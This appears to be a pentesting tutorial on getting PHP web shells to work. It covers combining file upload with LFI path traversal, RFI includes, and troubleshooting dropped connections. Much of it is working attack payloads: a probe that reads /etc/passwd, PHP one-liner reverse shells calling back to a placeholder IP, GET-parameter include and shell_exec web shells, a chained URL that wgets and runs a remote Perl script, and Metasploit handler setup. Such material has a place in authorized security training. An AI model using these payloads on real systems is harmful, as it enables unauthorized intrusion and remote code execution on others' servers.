Web Applications and Web Shells
Intro
I would like to discuss a little bit about webshells. Imagine this scenario, you figured out how to take advantage of web applications upload feature and you can get code execution, however for whatever reason your webshells are not working as intended. You might see a connection and then it gets dropped suddenly or perhaps it just doesn't execute. There is even the funny case of back connecting yourself. I have some tips that may help with addressing that issue.
Understanding HTML Pages and LFI's
One important thing to understand is the layout of sites. Here is one scenario, imagine that you
have just finished uploading a a reverse shell .txt file through a web application's icon directory.
However, there is one problem, you can not access it through the browser. The location should be
http://<IP-ADDRESS>/<icons>/<SHELL.txt>. But then you realize that the same web application also has
a LFI vulnerability. By knowing this we can navigate to the shell that was uploaded.
One thing to remember is how website directories are represented on the target machine. The URL
http://<IP-ADDRESS>/<icons>/<SHELL.txt> would be represented as follows in the target machine's file
system.
/var/www/icons/SHELL.txt
By knowing where the file is, the upload location doesn't matter. You can just access it anywhere using LFI
by visiting the following page http://<IP-ADDRESS>/../../../../../../var/www/icons/SHELL.txt.
Sometimes it's important to think for a bit and see how you can mix vulnerabilities together.
PHP Shells
It's important to make sure that you use the correct quotes when uploading PHP. For example, single quotes
tend to give websites trouble, so it's better to use double quotes. Additionally PHP code can be uploaded with
a .txt extension instead of .php. Uploading as a .txt can help bypass upload restrictions. In the case of a RFI,
including a file as .txt makes it so that your server doesn't execute the file on itself.
Troubleshooting PHP Reverse Shells
Sometimes just getting a shell to execute is a giant pain. If you're having trouble getting a shell try these steps first. It is best to start of slow and not rush in or else you might waste time troubleshooting something simple.
First make sure that there is PHP execution by using something that you know will work.
<?php print system("cat /etc/passwd");?>
If this is working then the next thing we can try is a one liner reverse shell. One liner reverse shells tend to not be very reliable, they usually die as soon as they get a connection/
# It's good to try two different ports
<?php $sock=fsockopen("<IP ADDRESS>",443);exec("/bin/sh -i <&3 >&3 2>&3");?>
<?php $sock=fsockopen("<IP ADDRESS>",4444);exec("/bin/sh -i <&3 >&3 2>&3");?>
Lastly you can try uploading a full reverse shell, like the one from pentestmonkey or you can try generating one with msfvenom. I have noticed that with the pentestmonkey php reverse shell it sometimes gets a daemon error. So it's unreliable at times.
Lastly if everything else has failed then you can try the following.
# Includes
<?php include $_GET["inc"];?>
# Shell
<?php echo shell_exec($_GET["cmd"]);?>
The first line, <?php include $_GET["inc"];?>, tries to include a URL. It basically becomes a RFI.
The usage is http://<IP ADDRESS>/inc.php?inc=http://<IP ADDRESS>/<SHELL.txt>.
The second line, <?php echo shell_exec($_GET["cmd"]);?>, gets a shell that you can use through the
browser. The usage is http://<IP ADDRESS>/cmd.php?cmd=ifconfig.
It is also possible to link together commands:
http://<IP ADDRESS>/cmd.php?cmd=cd /var/tmp; wget http://<IP ADDRESS>/shell.pl/; chmod +x shell.pl; ./shell.pl
This allows someone to get a reverse shell on a target in URL.
Then set up a handler. I prefer metasploit since it has a nice file upload capability once you get shell.
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
Afterwards you can choose a session with:
sessions -i 1